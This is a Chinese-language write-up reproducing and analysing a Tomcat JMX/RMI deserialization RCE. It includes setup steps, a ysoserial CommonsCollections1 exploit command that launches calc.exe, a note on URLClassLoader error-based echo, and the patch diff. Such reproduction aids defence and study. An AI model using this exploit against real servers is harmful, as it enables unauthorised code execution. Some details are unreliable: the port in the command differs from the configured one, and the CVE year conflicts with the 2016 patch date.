Tomcat CVE-2017-8735 Rce 漏洞复现&分析
0x01 前言
0x02 环境搭建
Os:Windows10
Tomcat:apache-tomcat-8.5.2-windows-x64
jar:catalina-jmx-remote.jar(8.5.2)
jar:groovy-2.3.9.jar(非必须)
java:jdk1.8.20(注意版本号)
将catalina-jmx-remote.jar放到lib目录下,并修改conf/server.xml
<Listener className=”org.apache.catalina.mbeans.JmxRemoteLifecycleListener” rmiRegistryPortPlatform=”10001" rmiServerPortPlatform=”10002" rmiBindAddress=”<your-server-ip>” />
启动tomcat
catalina.bat run
0x03 漏洞复现
启动tomcat后,使用ysoserial进行测试
java -cp ysoserial-master-6eca5bc740-1.jar ysoserial.exploit.RMIRegistryExploit 10.100.19.108 7777 CommonsCollections1 "calc.exe"
直接弹出计算器
或者配合任意文件上传漏洞,先将一个jar包上传至对方服务器上,然后通过file协议或者http协议加载文件,最后通过urlclassloader进行报错回显。
0x04 漏洞分析
从补丁分析上可以看出
该补丁为直接添加该端口的校验方式。其补丁具体信息为
--- tomcat/trunk/webapps/docs/changelog.xml 2016/11/02 11:57:28 1767643
+++ tomcat/trunk/webapps/docs/changelog.xml 2016/11/02 11:57:36 1767644
@@ -97,6 +97,10 @@
StoreConfig component includes the executor name when writing the
Connector configuration. (markt)
</fix>
+ <fix>
+ When configuring the JMX remote listener, specify the allowed types for
+ the credentials. (markt)
+ </fix>
</changelog>
</subsection>
--- tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java 2016/11/02 11:57:28 1767643
+++ tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java 2016/11/02 11:57:36 1767644
@@ -264,6 +264,10 @@
serverCsf = new RmiClientLocalhostSocketFactory(serverCsf);
}
+ env.put("jmx.remote.rmi.server.credential.types", new String[] {
+ String[].class.getName(),
+ String.class.getName() });
+
// Populate the env properties used to create the server
if (serverCsf != null) {
env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, serverCsf);
@@ -328,7 +332,7 @@
cs = new RMIConnectorServer(serviceUrl, theEnv, server,
ManagementFactory.getPlatformMBeanServer());
cs.start();
- registry.bind("jmxrmi", server);
+ registry.bind("jmxrmi", server.toStub());
log.info(sm.getString("jmxRemoteLifecycleListener.start",
Integer.toString(theRmiRegistryPort),
Integer.toString(theRmiServerPort), serverName));
主要在于添加在env中添加认证
+ env.put("jmx.remote.rmi.server.credential.types", new String[] {
+ String[].class.getName(),
+ String.class.getName() });
目前主要的回显方式是通过urlclassloader抛出异常的方式进行回显